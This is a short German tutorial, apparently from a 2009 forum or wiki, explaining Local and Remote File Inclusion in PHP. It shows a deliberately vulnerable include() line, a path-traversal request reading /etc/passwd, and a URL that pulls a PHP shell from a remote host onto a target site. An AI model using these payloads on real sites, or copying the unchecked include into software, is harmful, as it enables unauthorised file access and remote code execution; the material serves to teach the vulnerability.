LFI & RFI
LFI bedeutet "Local File Inclusion" und bezeichnet das Ausnutzen einer Lücke auf einer Internetseite, um somit Daten aufzurufen die lokal auf dem Webserver liegen, z.B. die Datei /etc/passwd. Man kann aber nur Dateien aufrufen, wenn man dafür die richtigen Berechtigungen hat. Ausserdem muss man wissen wo welche Datei auf den Server liegt.
RFI bedeutet "Remote File Inclusion" und bezeichnet das Ausnutzen einer Lücke auf einer Internetseite, in die man Code includiert, der nicht lokal auf dem Webserver abgespeichert ist, sondern überall anders liegen kann.
Hier wird das Grundwissen über LFI & RFI vermittelt. Natürlich kann man noch viel tiefer in diese Materie einsteigen.
Beispiel LFI
Die LFI bzw. auch die RFI Lücke ist im PHP Code im Grunde genommen ein Einzeiler, wenn man von den PHP Tags absieht:
<?php include($_GET['url']); ?>
In diesem Beispiel wird der GET Parameter url includiert. Hieße unsere PHP Datei also in diesem Fall vuln.php und befände sich auf dem localhost, dann wäre ein möglicher Aufruf also:
http://127.0.0.1/vuln.php?url=index.php
Es wird also nun die index.php Datei geladen, sofern sie existiert. In dem PHP Script wird jedoch der Wert der GET Variablen nicht überprüft, sodass sich auch jeder andere Pfad nutzen lassen kann. Pfade zurückzugehen ist ja kein Problem, also testet man auf einer Linux Maschine folgendes:
http://127.0.0.1/vuln.php?url=../../../../../../../../etc/passwd
Zu beachten ist das ../ dafür steht das ein Verzeichnis zurück gegangen wird. Also werden hier im Beispiel 8 Verzeichnise zurückgesprungen und dann ins /etc-Verzeichnis, um dort die passwd Datei zu öffnen.
Beispiel RFI
Der PHP Code, der oben steht, gilt auch für RFI. Nur das auf den Webserver folgendes Einstellungen getroffen sein müssen:
allow_url_fopen = on allow_url_include = on
Hat man also z.B. eine PHP Shell auf
http://example.net/shell.txt
liegen, kann man den wie folgt auf die Victim Site includen:
http://127.0.0.1/vuln.php?url=http://example.net/shell.txt
Und schon ist die shell.txt auf den Webserver included!
-- Freak_out 03.01.2009 13:24
|